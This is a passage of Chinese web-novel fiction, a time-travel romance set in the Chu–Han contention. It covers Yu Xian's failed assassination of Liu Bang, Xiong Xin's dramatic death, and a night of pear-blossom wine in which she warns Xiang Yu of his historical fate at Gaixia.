他收回手,转身捡起伞,掰开她握成拳头的手,将伞柄放回她手上:“不回去可以,你就待在这里,等我回来。” 虞苋小声重音的“嗯”了一下。 项羽深深地看了一眼她,再次捏着女郎的下巴,低头咬了她的嘴唇。 “嘶——” 出血了,痛啊。 狗男人冷淡道:“这是你欺瞒我的惩罚。” 虞苋:“……” 项羽说完转身离开,消失在黑夜的雨幕之中。 落石声继续,万箭随之射出。 刘邦拿着剑躲在大树后面,看着严密的攻势,感叹道:“什么议和,这是要我命的圈套。” 萧何道:“项羽真是卑鄙小人。” 张良冷冷道:“此事许是虞后安排的。” 她? 萧何:“虞后一向关注民生,议和之事亦是她促成,她没有必要。” 张良冷笑:“别忘了骊山小道上的埋伏。” 这个虞后行事可比项王果断。 刘邦打断他们的对话:“事已至 此,不管是谁的主意,项王都不会坐视不理,还是想如何突围吧。” “对了,韩信。”他吩咐,“派人去找韩信求援。” 而韩信此时,正带着大军,骑马在不远处。 韩信曾在虞苋手下待过,又心悦她,自是对女郎了解颇深。 白日议和之时,他在对岸,目光就没有离开过她,若她真在意议和之事,面上不应该如此冷淡。 那不是她的行事作风。 此时他遥看远处的战场,心中的疑虑可解。 “大王,可要去营救沛公?” “再等等。” 至于等什么,期待什么,韩信抿嘴,手握紧了马绳。 她会来吗? 雷声渐小,雨从大雨转为小雨,风依旧很大。 吕雉听到落石声,敏锐发现事情有变,叫停了马车:“樊将军,夫君他为何还没跟上?” 樊哙道:“夫人,王上让我护送夫人和刘公先行离开,此时,许是有什么事情耽搁了。” “不对,出事了。”她目光锐利,“樊将军武功高强,若是项王赶来,只有你能抵挡一二。” 吕雉立即道:“樊将军,你安排手下勇士护送我们即可,快带兵回去回援,若有意外,我们会自己藏好。” 樊哙犹豫:“可是……” “没有可是。”吕雉打断了他的话,“快去。” 樊哙稽首:“喏!” 风雨交加的夜晚,血腥味顺着雨水,传递了很远很远。 在山川中生活的猛兽,本该在夜间行动,可敏锐的它们感觉到了危险,即使有血腥味的吸引,也都躲着洞中,不敢出来觅食。 虞苋伸手触碰嘴角,被咬伤的地方血已经停止了,微微有点刺痛。 在项羽走后,她静静站了一会儿,将伞丢掉,往回走。 大概有上千精兵在等着她。 有一件事情她很好奇,当初骊山设伏,她事先谁也没有告诉,直接派黎晟和韩信前去埋伏。 如此绝密之事,竟然会失败了。 匪夷所思。 此前她一直以为是刘邦天命所归,死不了,才会让他给逃了,仔细想来,却不太对劲。 虞苋将长鞭别在腰上,上马,吩咐道:“随我去会一会故人。” “喏。” 另一边。 斥候小跑到韩信身边,稽首禀告:“王上,若是再不行动,汉王马上就要抵挡不住了。” 韩信抬手:“她来了。” 斥候:谁来了,他怎么没发现? 他抬头,见到雨幕中,多了许多的人。 最前面,女子骑着白马,身上穿得单薄,湿漉漉的头发贴在身上,美则美矣,在雨中,美人就像是山鬼化形,让人着迷的同时,脚板底冒出了一股森冷之意。 韩信道:“虞后。” 虞苋声音冷淡,开门见山:“在骊山,是你放走了刘邦,对吗?” 韩信:“没错。” 没有好隐瞒的。 虞苋卷翘的睫毛上沾上了水珠,眨了眨,雨水进了眼睛,眼尾红透:“为什么?” 韩信说道:“我与萧何,早就有旧。” 原来如此。 虞苋仰头,笑了一下:“我竟是忘了,反复无常的,始终是你。” 他本就不是忠臣。 历史上,韩信本在项羽手下做事,最后背叛项羽,投身到刘邦麾下。 鸿沟议和,劝刘邦撕毁盟约的,亦是韩信。 韩信抿嘴:“对不起。” 女郎抹掉了脸上的雨水,嘴上露出了一抹嘲讽的笑:“不必说对不起,是我太蠢,忘记了你们这一层关系。” 她道:“你们是联盟,现在,你要去救他?” 韩信道:“汉王比项王,更适合做天下之主。” 虞苋知道他的话是对的。 她自己便是汉族,比谁都清楚,汉室意味着什么,刘邦若是死了,又意味着什么。 “可是他不死。”虞苋冷声道,“我就要死。” 韩信提醒她:“你来阻止我,不亲眼看着,汉王曾跟项王出生入死,他可不一定能下狠手。” “毕竟。”他说,“你当初果断将他抛弃,项王将你寻回时,却不愿对你有半点苛责,甚至不限制你的权势,他可是一个念旧之人。” 虞苋:“我知道。” 从项伯口中得到刘邦想要议和开始,她便与范增商讨过刺杀的计划,一环扣着一环。 韩信说:“我也知道你会来找我。” 虞苋与他四目相对:“所以,你是战,是退。” 无数旖旎的梦,勾勒成眼前之人。 他说:“我答应过萧何,不会让汉王死。” “那就是要我死了。”虞苋嘲弄道,“当初你说对我心生爱慕,我还真信了一番,现在看看,倒是我自作多情了。” 韩信:“对不住。” 虞苋说着已经退到盾牌之后,对着一旁的黎万里冷声吩咐道:“拖住他。” 黎万里便是黎晟的弟弟,早就在军中历练,武功不弱。 他稽首:“喏。” 虞苋只带了十余好手骑马离开,此处地形她熟记于心,刘邦想要逃跑的路线,她大致清楚。 只要黎万里拖住韩信一柱香,刘邦必死无疑。 她骑马很快就寻到了负伤的刘邦。 此时,他浑身湿透,身上沾满了泥水,肩膀上还有贯穿伤,腿脚倒还利索。 听到马蹄声,他止住步,抬头。 眼睛瞳孔后缩,惊恐了一瞬,立即恢复了镇定。 刘邦道:“虞后,没想到你亲自来了,看来,我这一局,以无退路。” 虞苋目光落在他的伤口上:“贯穿伤,项王干的?” 刘邦沉默。 她道:“你运气倒好,完美避开了致命部位。” 刘邦眼见无路可走,倒是愿意死得体面些,张开双手:“虞后要我性命,多说无益,只求你放过我的家人,还有跟随我那么多年的兄弟,给我一个体面。” 士兵已经将他围住,插翅难逃。 虞苋让人拿来弓箭,将箭搭好,对准刘邦的心口,语气很冷:“只要你死了,一切都会结束。” “也是。” 刘邦闭上眼睛。 她刚要将箭射出,手上厉痛,雨水淋在手上,就好像千刀万剐在身上,甚至从手臂蔓延至全身。 好痛,太痛了。 晃眼间似乎看见自己的手变成透明。 眼花? 箭在此时对准刘邦射出。 第92章 第92章“倒也不必发那么毒的誓…… 射偏了。 虞苋脑子嗡嗡的响,感觉身体很僵硬,疼痛弥漫全身,甚至连手指蜷缩,如今简单的动作都十分费劲。 就好像,就好像被鬼压床的感觉,可她明明是清醒的。 她深吸一口气,忍住身体的疼痛,再次搭箭,还不等箭射出,手指又开始变得透明。 绝不是眼花。 虞苋强压住口中的腥甜,她不信杀不了刘邦,箭再次射出。 “叮。” 项羽、韩信、樊哙三人正巧一起赶到,见虞苋将箭射出,箭头反射着冷光。 却见箭射在了地上的石头上,摩擦出了银色火花。 “轰隆隆——” 又一道闪电划过天穹。 闪电照亮整个天地,春雷随之轰鸣。 雨水淋在刘邦的身上,他还张着双手,久久不见死亡降临,悄摸地睁开半只眼。 周围静 默,没有人说话。 而想要他命的漂亮女人,正看着他,眼神中的情绪格外复杂。 樊哙厉声道:“虞后,楚国答应议和,为何反悔要汉王的命,尔等出尔反尔,挑起战争,有何颜面见天下百姓!” 刘邦听见樊哙的声音,顿时转头,见到樊哙和韩信都在,一股绝处逢生的感觉席卷在心上。 “救我!” 樊哙立即持刃上前,将拦住刘邦去路的士兵砍伤,到刘邦面前将人护在身后。 他见项羽冷脸,转头冷哼一声,愤愤道:“楚国言而无信,没想到连项王竟然也是背信弃义的小人,不配当勇士。” 刘邦:“樊将军,不太对劲,少说几句。” 樊哙闭嘴。 此时众人的人目光落在了一直不吭声的虞苋身上。 他们都是习武之人,耳聪目明,能感觉到女人的脸很苍白,指尖在发抖,浑身在压抑着极大的痛苦。 她身下的马在不安的躁动。 不太妙。 “小虞!” 项羽在马发狂之前反应过来,瞬间来到虞苋身边,将人拉下马。 她跌落在男人怀中之时,马突然冲了出去,消失在了黑暗之中。 任谁都能看出,她浑身在发抖,似乎在压抑着极大的痛苦。 项羽握着她的手,指尖冰凉,细细的手腕似乎一捏就断。 他心一紧,担忧道:“还好吗?” 不好。 虞苋揪着项羽的衣领,对着地上吐了一口鲜红的血,血水很快就融入了雨中,消失不见。 樊哙道:“好什么好,难道看不出来,她要死了。” 韩信:“樊将军还是莫要乱说话为好。” 樊哙:“她又不是你的你女人,你着什么急。” 项羽无心搭理闲人,手颤抖的抹掉了她嘴角残留的血渍,缓声说道:“等我一会儿。” 他转头看向了刘邦,眼中的双瞳出,是看死人的那种眼神。 起了杀心。 刘邦清楚这里没有人是项羽的对手,他之勇猛,无人能敌,若真要他的命,樊哙和韩信在侧,也不过让他多活两息。 他虚弱道:“我什么都没做,碰都没碰到她,诸位可以为我做主。” 项羽说:“我知道。” 他说:“但你不能再活。” 韩信目光紧盯着虞苋,眉头微皱,闻言回神,跟樊哙说道:“带汉王离开,我来断后。” 樊哙:“行。” 黑夜中,项羽面容冷静,利落抽剑出鞘。 谁都清楚,他认真了。 绝非是在说大话。 就在这时,女郎扯住了项羽的衣摆,哑声开口:“离开,带我离开这里。” 说话间,她又呕出一口血。 “小虞!” 项羽立即收剑,捞起她入怀,脸上青黑:“好,我带你去找医工。” “不用。”虞苋道,“不是中毒。” 雨水淋在身上,衣裳沾水,很沉重,湿漉漉的衣裳压在身上,压得心里都沉甸甸的。 项羽点头:“好,先离开。” 说完将女郎凌空抱起,扫了眼刘邦和韩信,说道:“诸位,战场上见。” 刘邦顿时松了一口气。 危机解除了。 韩信看着项羽带着虞苋离开背影,心中揪痛,明明心中亦是担忧她的安危,却没有立场去对她关怀。 今日对峙,已是决裂。 樊哙见状,粗着嗓音道:“欸,他们就这么走了?” 刘邦:“樊将军,别管别人了,快寻军医,我快不行了。” 闻言韩信回神,对着手下吩咐:“去叫军医来。” 他看着已经空荡荡的山林,如此严密的刺杀,刘邦本难逃一死,事到临头却轻飘飘放过…… 因为什么原因呢。 回到营帐,虞苋沐浴换了一身干燥的衣裳,脸色倒是好了很多。 她看着自己的手掌,没有血色,苍白异常,完全想不到就在半个时辰前,它差点就消失了。 命运弄人,实在可笑。 这是一场失败的刺杀,一场彻头彻尾的闹剧。 医工给虞苋把脉后,松了一口气,说道:“王后身体并无大碍,只是气血虚亏,又心生郁结,需要好好静养,在下去熬两副养神的汤药,喝了便好。” 项羽点头:“下去吧。” 营帐中没有了外人。 虞苋手掌捂着眼睛,哑声开口,带着歉意道:“对不起,此事是我的错,是我没能杀了刘邦,将事情办砸了,还连累了大王声名受损。” 她回来的途中一直在想,为何自己要动手杀刘邦之时,手指会趋近透明,浑身好像被石头碾压一样难受,实在难以理解。 总不能对方真是天命所归? 不对。 定然是有什么地方被忽略了。 虞苋沉思了许久,倒是想到了一种可能,荒诞又合理的可能——她祖上太奶有刘邦的血脉。 若是刘邦死了,他的子女会被清算,历史上本该出现的人就会消失,于是作为后人,她也会消失。 至于上次骊山设伏,自己为何没有遇见这种情况,或许是韩信当时因为萧何的原因,故意放水,刘邦一定不会死,才没有提醒。 虞苋捂脸。 刘邦还真是不能死。 至于为何她改变了项羽,让他没有滥杀无辜却没有反噬,就不太清楚了,或许是普通的百姓太重也太轻,不足以影响到两千多年以后的后世。 亦或者,世间已经发生了某种改变,只是她不知道。 总而言之,她杀与不杀刘邦,结局都是必死。 可笑。 项羽见她说完心事重重,不由安抚道:“无碍,亚父问起来,就说是我将人给放了,怪不到你的头上。” 虞苋闷声闷气道:“我不是这个意思,我并不是在害怕被亚父控诉。” 项羽摸摸她头:“我知道。” 她顺势抱住他的腰,仰头,眼圈很红很红:“大王,我是不是很失败?” “没有。” “可我差一点可以将他杀死了,箭却射歪了,两次都歪了。” 项羽道:“小虞,是我几次三番没有下定决定杀他,我知道你在害怕什么,此事皆怪我,跟你无关,若是我能在鸿门时就杀了他,便不会横生如此多的枝节。” “呃……”虞苋说道,“其实你不杀他也好。” 若是她猜想为真,项羽在鸿门直接宰了刘邦,后世就没有她了。 项羽搂着她:“你的身体真没事了?” 虞苋:“没什么大碍。” 之前很疼很疼,快死了一样的疼,放了刘邦之后,倒是恢复了不少。 不过亏空了气血,皮肤跟雪一样的白了。 他眉头舒展:“那便好。” 虞苋朝着他笑了一笑,只是眼睛还是红的,在情人眼中,显得格外的委屈。 “对了。”项羽道,“议和之事已经作罢,战事无法避免,将来你许是要陪我再军营中吃苦,怕不怕?” 她说:“不怕。” 女郎勾着对方的手,语气闷闷地道歉:“是我对不起你,大王,都是我的错。” 项羽冷哼:“你知道就好。” 还知道道歉。 虞苋:“对不起。” 他伸手捏了捏她的脸蛋,见她的确是恢复了气力,没好气道:“你最对不起我的,是说好不对我有隐瞒,却还是擅自行动,你知不知道我有多担心你,我还以为……” 项羽说着,表情越冷:“我还以为你又要一声不吭的离开。” 虞苋道:“是亚父和我商议好,又不是我一个人的主意。” 狗男人捏着她的脸:“行,那你说说,以后还会有事情瞒着我吗?” “不会了。” “发誓。” 女郎瞪大了眼睛,努嘴不满道:“大王,你信不过我,竟然还要我发誓!” 不可置信。 项羽冷哼:“你有什么能值得我信任的吗?欺骗我欺骗得还不够?” 他捏住她的下巴,挑眉,语气含着怨气的质问。 虞苋:“……” 好像是没有。 她伸出手,开口道:“我发誓,我以后都不会对大王有所隐瞒,若是我有违此誓,就永世不得超生!” 项羽:“倒也不必发那么毒的誓言。” 虞苋吸了吸鼻子,恢复往日的精气神,恨恨道:“是你让我发誓的,我如今发了毒誓,你现在总该相信我了吧。” 项羽颔首:“勉强。” 她震惊:“勉强?勉强到底是信还是不信啊?不能这样子凌磨两可的。” 狗男人嘴角微勾:“就是勉强相信的意思。” 虞苋:“……” 她双手抱胸,将脸瞥到一边去,一脸气鼓鼓的样子。 项羽见状,捏着她的脸,掰过来与他面对面:“话说回来,你不是很想杀刘邦么,为何后面又故意将箭射歪,放过了他?” 那么近的距离,以她的箭术,不该射不中人。 第93章 第93章“自是人生长恨水长东。…… 虞苋叹了一口气:“不是我放过他,是我淋了雨,身子骨虚弱,手滑了。” 没有提及太多,隐瞒了手指透明之事。 项羽想到当时女郎吐血,心中闪过一丝不安,双手捧着她的脸,严肃道:“答应我,以后不管发生什么,都不要以身犯险,为了谁都不可以。” 虞苋眨眼。 他说:“我会担心。” 女郎点头:“放心,我以后会一直待在你身边,哪 里都不去,如此,大王可能放心?” 项羽见虞苋眼中带笑,知道她是在调侃自己,脸色一黑,转而掐着她的下巴,正要将人好好的惩罚一下,看着她苍白的脸,止住了动作。 倒春寒,夜晚是冷的,加上下雨,更是冷得受不了。 他搂着女郎的腰,淡定道:“先睡吧,等药熬好了,我再叫醒你。” 虞苋立即说道:“其实不用叫我的。” 项羽一眼看穿:“你就是怕吃药。” 没错,大半夜的。 谁要喝那么苦涩的药啊。 女郎立即推开他,将被子盖在身上,转身背对着人:“睡觉睡觉。” 项羽:“……” 她闭上了眼睛,感觉到对方躺在自己的身侧,又转身,黏人地抱住了项羽的腰。 此时虞苋并不像她表现出来的那样平静。 她闭着眼睛,回忆起自己穿越来的种种,感觉就像是一场电影,还是被观众谩骂魔改的历史题材电影。 主角的过程无论多么波澜壮阔,最后还是无法改变既定的结局,何尝不算是一种烂尾。 可顺应历史,死的不过是原本就要死的人,而更改历史,会牵扯到更多的人丧生,或者换句话来说,是被抹杀,其中很可能包括自己的亲人。 怎么选,显而易见。 心脏的疼痛扯到了指尖,额头上很快冒出了冷汗,迫使她揪紧项羽的衣裳,将自己与他贴得更紧。 项羽顺势将她搂住,手安抚的拍着她的后背:“不要怕。” 虞苋心神一松,昏睡了过去。 一觉天明。 项羽倒是没有半夜将人叫醒,可她刚睁开眼适应了白日的光亮,一碗冒着热气的汤药就拿到了她的面前。 “醒了,喝药吧。” 虞苋右手一巴掌打在自己的额头上,顺势趴下,小声的撒娇:“不喝,行吗?” 对方挑眉:“你说呢?” 女郎反抗无果,乖乖听话,深吸一口气,将里面的喝的,一口气将一碗药汤喝到底。 “苦。” “好苦。” 项羽接过她手里的碗放在一侧,疑惑道:“有那么苦吗?” 虞苋皱眉:“有的,不然你尝尝。” 他点头:“好。” 还没等女郎反应过来,狗男人低头,含住了她的唇瓣,撬开她的牙齿,吸取里面的汁液。 嗯? 没说是这样的尝啊。 项羽似乎看透了她的想法,离开时解释道:“学你的。” 虞苋眨了眨眼睛,卷翘的睫毛在日光下扇合,在脸上落下了阴影。 她不满道:“我才不会这样,你一定是故意污蔑我。” 项羽直起身子,居高临下看她:“我尝了,入口甘甜,不苦啊。” 虞苋气急:“谁要跟你说这个了!” 另一边。 亚父范增得知了刺杀失败的消息,掏出一坛子烈酒,给自己倒了一杯,摸着泛白的胡子感叹道:“时也,命也!” 如此缜密的计划,还是失败了,能怎么办? 决战,许是不久就要来了。 项伯得知刘邦被刺杀的消息,浑身都惊出了一身冷汗,寻到了项羽,项羽避而不见,便来到了范增这里。 他指着范增骂道:“说好了议和,你们却派人去刺杀沛公,出尔反尔,让我们如何跟天下人交代,你们这是将阿羽的名声当成了什么?” 范增轻哼:“若是刘邦死了,就无人敢牵头反抗王上,天下一统,结束了战乱,什么声名自有后人评说。” 项伯道:“那沛公死了吗?” 范增嘲讽道:“他的身上有贯穿伤,昨晚又下了雨,天冷,以他这个年纪,就算没有伤到要害,许是也撑不了多长时间。” 项伯:“那就是还没死。” 他又不骂了,坐到了范增的对面,拿起坛子给自己倒了一杯酒,说道:“我在沛公和阿羽两人之间周旋,我知道你看我不满,你忠心的是阿羽,我忠心的是项氏,结局如何,项氏都不会输。” 范增手一顿,不想和他多说,嫌弃道:“谁给你喝我的酒的,走开。” 刘邦差点身死,昏迷了三天三夜,是吕雉一直在他身边贴身照顾。 他一醒来,看见的便是自己的结发妻子,正要开口,对方就已经知道他的想法,温水喂到了刘邦的口中:“慢点,别急。” 吕雉在给他喂水喝,忍不住抹着眼泪,心疼的说道:“军医说,还好你命大,就差一点,箭射穿的便是你的心脏。早知道虞后要的是你的命,说什么,我都不会答应你涉险,我其实在楚地没有受多少苦,只要你平安就好。” 两人原本的生分,在三言两语中消散,刘邦拍了拍吕雉的手:“还好你当机立断,让樊将军回援,你看,我现在不好好的吗?死不了。” 吕雉道:“我去叫军医来。” 经此一事,她在刘邦心间的分量,又重了几分。 半个月后。 楚汉之间议和失败,完全没有影响到两地的春耕,大地在春雨的滋润下,焕活了生机。 秦王宫里的梨树,花开得格外的繁茂,白色的花瓣落在地上,就像是一层层的雪。 虞苋路过时一片花瓣刚好落在她的鬓角,她伸手将其摘了下来,看着不由入了神。 亭中。 落花纷飞。 黎晟前来:“王后,楚怀王说,想最后见你一面。” 虞苋说道:“大王要杀他?” “不是。”黎晟解释道,“是他身患重疾,医工说,没有几日了。” 她惊讶:“难怪沛公愿意将人换回来。” 不管最开始是谁提议的,熊心终归是自己的义弟,他要死了,一切恩怨都了结,去见他一面未尝不可。 虞苋道:“带路吧。” 黎晟:“喏。” 风吹来,女郎拢了拢衣领,走到最前头。 熊心被关押在废弃的宫殿,周围有侍卫严密看管。 见到虞苋,侍卫行礼:“参见王后。” 她抬手:“起来吧。” 走到宫殿里面,熊心已经候着了。 青年穿着白色锦衣,肩膀上披着红色袍子,衬得他的面色极为的苍白。 他道:“阿姊,你来了。” 虞苋直奔主题:“你生了什么病?” 熊心咳了两声,嘴角溢血,却还笑着询问:“阿姊是在关心我吗?” 她道:“关心你?多好笑,我们之间应该只有仇怨。” 熊心抹掉嘴角的血,嘴角红艳,他本就长得极为俊美,如今,倒是有些病美人的姿态。 “也对。”他说,“可是我是真心将你当成阿姊的,自始至终,我都没有想过伤害你。” 虞苋说:“可你做的不都是伤害我的事情吗?” 她不愿与其叙旧,冷冷睨了他一眼:“你要见我,就是为了说这些废话?” 宫殿中空荡荡的,有点 冷,连炭火也没有,满目都是凄凉。 成王败寇,向来如此。 熊心说道:“我不是生病,是中了毒,毒素已经侵入骨髓,活不成了。” 虞苋皱眉:“刘邦下的?” “不是。”他眼中闪过阴鸷,“是阿离。” 虞苋与阿离第一次打交道,就是被对方的迷药迷晕,着了道。 对于此人会毒,她自是知道的。 只是…… “听说她是救你而死,为何又会给你下毒?” “许是因爱生恨。” 虞苋抿嘴:“原来你知道阿离喜欢你?” 熊心皮笑肉不笑:“一个女人爱上一个男人,为情爱矢志不渝,才会为我出生入死,无怨无悔,没有我的刻意引导,她又怎么会爱上我呢?” 虞苋冷笑:“所以呢,她还不是给你下毒,索你的命。” 他轻飘飘道:“因为我喜欢你,她知道我喜欢你。” 虞苋一愣。 熊心深深看了她一眼,语气瞬间变得温柔:“因为喜欢,才想在临死前,见你最后一面。” 她却觉得浑身拔凉,感觉就像是被阴湿的蛇给盯上了,一时间什么话都说不出来。 熊心却笑了:“阿姊,你看,你还在害怕我,是在担心我拉着你一起去死吗?” 别说,她刚才或许没有想到,此时倒是怀疑了。 虞苋可没有忘记,她第一次见到对方时,他就将匕首架在她的脖子上,威胁着要将她剥皮抽筋。 她脸色一白,转身就要走。 “再等等。” 熊心祈求道:“再让我看你一眼。” 虞苋回头。 对方拿起案几上的瓷瓶摔在了地上,在碎片中挑挑拣拣了一番,选出了其中最为锋利的一块碎片。 她没做声。 熊心说:“我不是什么好人,临死前,又不甘心自己的喜欢被带进土里,我可从来把当成阿姊,而是。” 他没说完,或许也不想说完,锋利的碎片瞬间划破喉咙,血液飞溅。 虞苋的脸上、身上,都被溅了血,熊心似乎很满意自己的杰作,张了张口,似在无声的说: 别想忘记我。 在熊心看来,死在女郎面前,她才会记忆深刻,午夜梦回之时,能短暂的想起他,也不错。 虞苋抹掉脸上的血,看着死掉的人,冷冷道:“还真是一个变态。” 楚怀王的后事,是有专人操办。 虞苋回去时下了雨,又路过了梨花树,脑中回想到熊心的死状,再看飘落的白色花瓣,心境突然就变了。 漫天飞舞的梨花,就像是无声的葬礼。 她不禁想,今日死的是熊心,明日呢,死的又会是谁? 林花谢了春红,太匆匆。无奈朝来寒雨晚来风。胭脂泪,留人醉,儿时重。自是人生长恨水长东。 南唐后主的这首《乌夜啼》,倒是契合她此时的心境。 虞苋道:“又下了一场离别雨。” 第94章 第94章“梨花醉。” 人啊。 知道得越少,倒不失为一件好事。 虞苋撑伞走到落花与落雨之中,对着跟在身后的黎晟道:“黎将军,走吧,和我去酿酒。” 黎晟询问:“什么酒?” 虞苋道:“梨花醉。” 她笑着说道:“我也就两样东西能拿得出手,一是酿酒,二是跳舞。” 不过酿酒遇到了禁酒令,喝酒还被某个人给惩罚了,而穿越第一次跳舞,也是当初宋义给逼迫的。 黎晟道:“还有第三样。” 虞苋:“什么?” 她认真的说:“美貌。” 虞苋被她逗笑了,仰头看了一眼天上的乌云,道:“不谦虚的说,我也觉得自己长得挺好看。” 黎晟眉眼弯弯。 虞苋道:“走吧。” 楚怀王病故的消息很快就被传播了出去,民间不少人却不信,还有流言传来,说是项王将人给毒杀了。 项羽无法解释,人的确在他手中没的。 而虞苋却觉得此手段颇为熟悉,很像是一个人的手笔。 …… 一个月后,虞苋将几坛子梨花醉给酿好了,自己亲自拿着小锄头,在梨树下挖了一个坑,将两坛子梨花醉埋好,希望经年后,还能有将梨花醉给挖出来的那天。 剩下的梨花醉,她送给了黎晟两坛,一坛送给了桓楚,剩下的两坛她抱回了寝殿。 等项羽回来之后,她拉着他的手,说道:“大王,陪我去一个地方。” 项羽疑惑:“去哪?” 虞苋说:“去观星台。” 他笑了:“你还会观星?我怎么不知道。” 虞苋将一坛梨花醉塞到他的怀中,自己也抱着一坛子,拉着他往外走,挥手让侍卫侍女们止步:“今日天色好,观星台位置最高,可以看见最美、最亮的星月。” 项羽被她拉着走,不是地宫下的观星台,是明面的观星台,阁楼建得很高,足有九层。 到了观星台的平台上,风很大,吹得人头发和衣裳乱飞,猎猎作响。 从观星台往下看,是能看见咸阳的万家灯火,往上看,是繁星布满整个黑夜,上弦月被众星拱月。 虞苋打开了一坛子酒,带着梨花的酒香飘进鼻尖,又被风吹散。 她嗅了嗅,笑着说道:“大王,我还从来还没有和你一起喝过酒呢,这是我亲自酿的梨花醉,今日可不能扫兴。” 项羽将酒坛放在一旁,双手抱胸,看着万里江山,说道:“把我拉到这里,就是为了喝酒,没有别的事情了。” “边喝酒边说嘛。” “行。” 项羽很少喝酒,现下倒是没有拒绝,闻言道:“那就边喝边说。” 虞苋喝了一口梨花醉,靠在身旁的围栏上,被风一吹,倒是不知道该如何开口了。 见她不说话,项羽没有催促,也学着她的样子开了梨花醉,淡定的喝酒。 酒是很烈的,比起酒的烈,香气更甚,仅是一口,便觉得醉了。 星月下,寂静无声。 还是项羽先开口,说道:“我得到密报,刘邦身上的伤已经无碍,如今集结了六十万大军,正往咸阳逼近。” 虞苋震惊:“这么快。” 他道:“之前刘邦在彭城就有四十万大军,被冲散的散兵我没有追杀,战事一了,便能重新被人整合,他手下能人辈出,如此快的集结出六十万大军,并不稀奇。” 不过。 项羽道:“不用担心,乌合之众罢了。” 虞苋默默喝了一口酒,脸颊微红,眼神有些迷离了:“大王,你知道熊心死后,民间的流言吗?” 项羽冷嘲:“知道,说是我毒杀的。” 她道:“不出意外,这是韩信的手笔,他可是搞舆论的一把好手。” 这样的人,在自己手上用着的时候,会感觉很省心,可若是成为对手,就不美妙了。 项羽见她夸赞韩信,面上不悦,冷哼道:“你对他的评价倒是高。” 虞苋:“实话嘛。” 她转身远眺着咸阳城,手撑着围栏,说道:“大王,你从来没有输过,会不会觉得我总是很悲观?” 项羽冷哼:“是有点。” 梨花香萦绕在空气中,女郎忍不住再喝了一口,说道:“之前我原本计划在鸿沟议和时,刺杀刘邦,只要他一死,所有的一切都会改变,那么有些事情不说也没有关系。” 她叹了一口气:“只是我没想到会发生意外,导致刺杀失败,这件事我就不得不说了。” 项羽见她眼神中有了些醉意,说话时却很认真:“想说我会怎么死啊?” 虞苋说:“对,其实许相师和你说过的。” 他道:“自刎而亡。” 女郎点头:“没错。” 她仰头看着天上的星星,能看见星星在闪烁,没有工业污染的天气,自然景色就是这样的美丽。 “四面楚歌,十面埋伏。”虞苋红着眼睛鼻子说道,“韩信让士兵唱起楚歌,使得楚军失去了斗志,大王带着亲卫冲出包围后,他设下十面埋伏,以人数将你给拖死,最终你选择了自刎。” 项羽双手抱胸:“这是历史记载的,关于我的结局?” 她点头:“没错。” 虞苋喝了一大口酒,声音有些闷:“之前我不知道该怎么告诉你,现在却不得不说,大王,我知道你很厉害,可一次失败,可能就……” 项羽摸摸她的头:“我知道,就像叔父。” 她垂眸:“我不会排兵布阵,对战争一窍不通,我只知道他可能会使的计谋,却没有破解的办法。” 项羽道:“设伏的地点在哪 ?” 虞苋:“垓下,九里山。” 项羽说道:“你对我死的地方记得这么清楚啊?” 她“嗯”了一声。 读书时,曾读到宋代李清照的《夏日绝句》。 生当作人杰,死亦为鬼雄。至今思项羽,不肯过江东。 诗中的英雄气节,豪迈的气势,让她读了一遍又一遍。 这是小小的她,对于历史上项羽的初印象。 虞苋说道:“我不知道告诉你这些是好还是不好,可我不想你死,我想你长长久久的活着,好好的活着。” 项羽知道虞苋来自后世,知道很多人的命运,害怕是正常的。 他伸手抹掉了女郎脸上的泪珠,笑着说道:“你都将韩信的计策、埋伏的地点都告诉我了,这一仗我若是败了,岂不是很丢人?” 虞苋也伸手,颇为不好意思的抹掉了脸上的泪珠,吸了吸鼻子,哽咽道:“对,会很丢人。” 风阵阵,树叶沙沙的响。 项羽道:“别哭,会丑。” “丑?”虞苋听不得这个字,含着泪珠的眼睛立即瞪圆,“丑吗?” 她只喜欢被人说好看,说丑,会生气的。 项羽:“那不丑?” 虞苋生气了:“我本就不丑,连哭都是好看的!” “哪有人这么夸自己?” “有。”她指了指自己,“我啊!” 气势凶凶。 项羽伸手掐了她的脸颊,敷衍地“嗯”了一声,真真是气死人。 虞苋气势只是起来了一下,她抱着酒坛子,又担忧道:“可是历史有了很多的改变,或许韩信会想出其他的计谋,或许埋伏的地点会改变,或许……或许我提供的信息都是无效的信息,帮不到大王什么。” 项羽挑眉,意气风发:“我也不一定会输。” 也许吧。 她考虑过,假如自己的猜想是对的,虞氏先祖曾娶过刘氏女,自己还要不要告诉项羽历史上的死因。 最后还是说了。 虞苋看着自己的手,没有反应,或许是自己的这一番,改变不了结局。 想到这里,心中流淌着细细密密的疼,她赶紧喝酒,让烈酒在口中的辛辣,压下心中那股绵密的痛。 她抬头,仰望对方。 项羽穿着玄衣,领口和腰带扣着金色,高大的身躯站在身侧,侧脸线条硬朗,英俊得让人心跳加速。 这么好看的人,真是舍不得。 项羽扭头睨她:“不要用看将死之人的目光看我,慎得慌。” 虞苋努嘴:“哦。” 她上前抱住项羽的腰,脸在对方身上蹭了蹭,缓声说道:“对了对了,大王,我还从来没有专门给你跳过舞,你想不想看?” 项羽挑眉:“刚刚还在哭鼻子,现下就要给我跳舞,情绪变得倒是快。” “那咋了。” “嗯?” 虞苋擦了一下脸,闷声闷气道:“那不跳了,” 项羽:“好吧。” 见她脸色越来越不好,他凑近,好声好气地哄道:“好了,刚才逗你的,别生气。” 虞苋转身背对他,冷哼了一声,没好气道:“哄不好了。” “真的?” “真的。” “那我给你舞剑,让王后高兴高兴。” 虞苋眼睛一亮,急冲冲地道:“那敢情好。” 项羽拍拍她的肩膀,抽出腰间的剑,离她几步远,朝她颔首:“看好了。” 月光下,对方的身影婉若游龙,每一招式兼具美观的同时,带着剑势。 带着“十步杀一人,千里不留行”的杀意。 想着项羽曾跟着项梁做过游侠,十几岁的年纪,打得会稽无敌手,二十岁的年纪,整个天下都没有对手,真正是天下第一人。 可她从来没有见过,项羽当游侠的样子。 好可惜。 第95章 第95章“他怎么来了!”…… 秦王宫,观星台,梨花醉,舞剑的青年。 星月,大风。 缺了些什么。 项羽舞剑结束,利落收剑,女郎立即鼓掌,奉承道:“大王的剑术,可比在鸿门时,项庄舞得更赏心悦目。” “是吗?”他不吃这一套,冷声道,“既然我剑术赏心悦目,你为什么走神?” 虞苋:“我没有走神!冤枉。” 项羽凑近:“嗯?” 她立即从身后拿出一早就准备好的天灯和笔墨,递到项羽面前转移话题:“许个愿。” 项羽询问:“这是什么?” “这是天灯,又叫许愿灯,在灯上写下自己的愿望,将天灯放飞,神明听到之后,就会将愿望实现。” 